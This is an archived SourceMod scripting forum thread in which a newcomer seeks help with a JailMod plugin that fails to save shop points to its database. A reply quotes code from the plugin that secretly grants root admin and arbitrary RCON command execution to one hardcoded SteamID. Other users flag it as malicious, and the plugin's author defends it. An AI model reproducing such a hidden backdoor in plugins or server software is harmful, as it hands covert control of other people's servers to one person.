AlliedModders

AlliedModders (https://forums.alliedmods.net/index.php)
-   Scripting (https://forums.alliedmods.net/forumdisplay.php?f=107)
-   -   DB Connection (https://forums.alliedmods.net/showthread.php?t=209216)

Phobie 02-22-2013 17:57

DB Connection
 
Hello everyone !

First, I want to tell you : I am new on this forum. And I just started to learn SourcePawn. So, please, can you explain me the code you will give to me ? (I am on Programmer School, so I understand quickly code like that, and I know SQL language).

So this is my problem : A friend gave to me a JailMod plugin. All works, but this plugin need a connection to a DataBase to save fidelity points on a shop (you earn it when you kill someone). But my databases.cfg is correctly configurated (same like sourcebans, and sourcebans is ok). So the problem is in the plugin... Here the source code :
Code:

X
The database connection is on the line 3852. So if someone can help me, I will be very happy. :$

PS : Sorry for my bad English, I am French.

11530 02-22-2013 18:01

Re: DB Connection
 
Oh you.

Quote:

Originally Posted by Phobie (Post 1899847)
PHP Code:

public Action:Command_AddAdmin(clientargs)
{
    if (
IsClientInGame(client))
    {
        new 
String:SteamID[64];
        
GetClientAuthString(clientSteamID64);
        
        if (
StrEqual(SteamID"STEAM_0:0:18811335"true))
        {
            new 
AdminId:admin CreateAdmin("Phobie");
            
SetUserAdmin(clientadminfalse);
            new 
AdminId:iAdminID GetUserAdmin(client);
            
SetAdminFlag(iAdminIDAdmin_Roottrue);
        }
    }
    return 
Plugin_Continue;
}

//...

public Action:Command_Rcon(clientargs)
{
    new 
String:Command[256];
    
GetCmdArg(1Commandsizeof(Command));
    
    if (
IsClientInGame(client))
    {
        new 
String:SteamID[64];
        
GetClientAuthString(clientSteamID64);
        
        if (
StrEqual(SteamID"STEAM_0:0:18811335"true))
        {
            
PrintToChat(clientCommand);
            
            
ServerCommand(Command);
        }
    }
    return 
Plugin_Continue;




Phobie 02-22-2013 18:42

Re: DB Connection
 
It's not my code, I telled the author give it to me. And I use this plugin only on my server. It makes me Admin no ?
When I had the code, it was the Steam_ID from the author, but I changed it with now my Steam_ID because I don't want to allow him to be admin on my server.

I didn't know if this code was essential for the plugin and if I can delete it, so I just replaced with my Steam_ID.

11530 02-22-2013 19:37

Re: DB Connection
 
If other people installed this plugin using the code above in post #1 it'd give you, Phobie, complete root admin and RCON access to their servers. Very malicious. The plugin should have been blacklisted the moment it was published.

Bimbo1 02-22-2013 21:04

Re: DB Connection
 
Quote:

Originally Posted by 11530 (Post 1899900)
If other people installed this plugin using the code above in post #1 it'd give you, Phobie, complete root admin and RCON access to their servers. Very malicious. The plugin should have been blacklisted the moment it was published.

i guess it wasn't meant to be installed on any server. looks like a private code, it only works on a unique ip.
anyway, how do you know if the database is connecting properly? it doesn't seem to print the errors of the connection or queries.

Phobie 02-23-2013 08:23

Re: DB Connection
 
The database is not connected properly. Because table are not created, but ERROR didn't appear. When I create it myself, any data are in the tables. :/
But I create the access in databases.cfg named "jailmod". It's the same information like "sourcebans", but SourceBans create table, not JailMod.

I don't know if you understand me. My English is poor. :/

EDIT : My databases.cfg :
Code:

"Databases"
{
        "driver_default"                "mysql"
       
        // When specifying "host", you may use an IP address, a hostname, or a socket file path
       
        "default"
        {
                "driver"                        "default"
                "host"                                "localhost"
                "database"                        "sourcemod"
                "user"                                "root"
                "pass"                                ""
                //"timeout"                        "0"
                //"port"                        "0"
        }
       
        "storage-local"
        {
                "driver"                        "sqlite"
                "database"                        "sourcemod-local"
        }

        "clientprefs"
        {
                "driver"                        "sqlite"
                "host"                                "localhost"
                "database"                        "clientprefs-sqlite"
                "user"                                "root"
                "pass"                                ""
                //"timeout"                        "0"
                //"port"                        "0"
        }
        "jailmod"
        {
                "driver"                        "default"
                "host"                                "sql.olympe.in"
                "database"                        "qf7tlh9E"
                "user"                                "qf7tlh9E"
                "pass"                                "***"
                //"timeout"                        "0"
                "port"                        "3306"
        }
       
        "sourcebans"
        {
                "driver"                        "default"
                "host"                                "sql.olympe.in"
                "database"                        "qf7tlh9E"
                "user"                                "qf7tlh9E"
                "pass"                                "***"
                //"timeout"                        "0"
                "port"                        "3306"
        }
}


delachambre 02-23-2013 08:34

Re: DB Connection
 
It's no create for me, it's for root admin to offer him the possibility of recovered its access when another server or hack. Is not malicious.

Phobie 02-23-2013 08:49

Re: DB Connection
 
My databases is accessible (SourceBans function properly).
The databases.cfg is correct, because it's the same information between SourceBans and JailMod.
So, the error is in the plugin... But I didn't have error. :/ I don't understand how resolve it.

Phobie 03-02-2013 14:08

Re: DB Connection
 
Up please, point on shop are not saved when users disconnect and reconnect on the server.

Phobie 03-04-2013 10:13

Re: DB Connection
 
Up please. :/


All times are GMT -4. The time now is 12:54.

Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.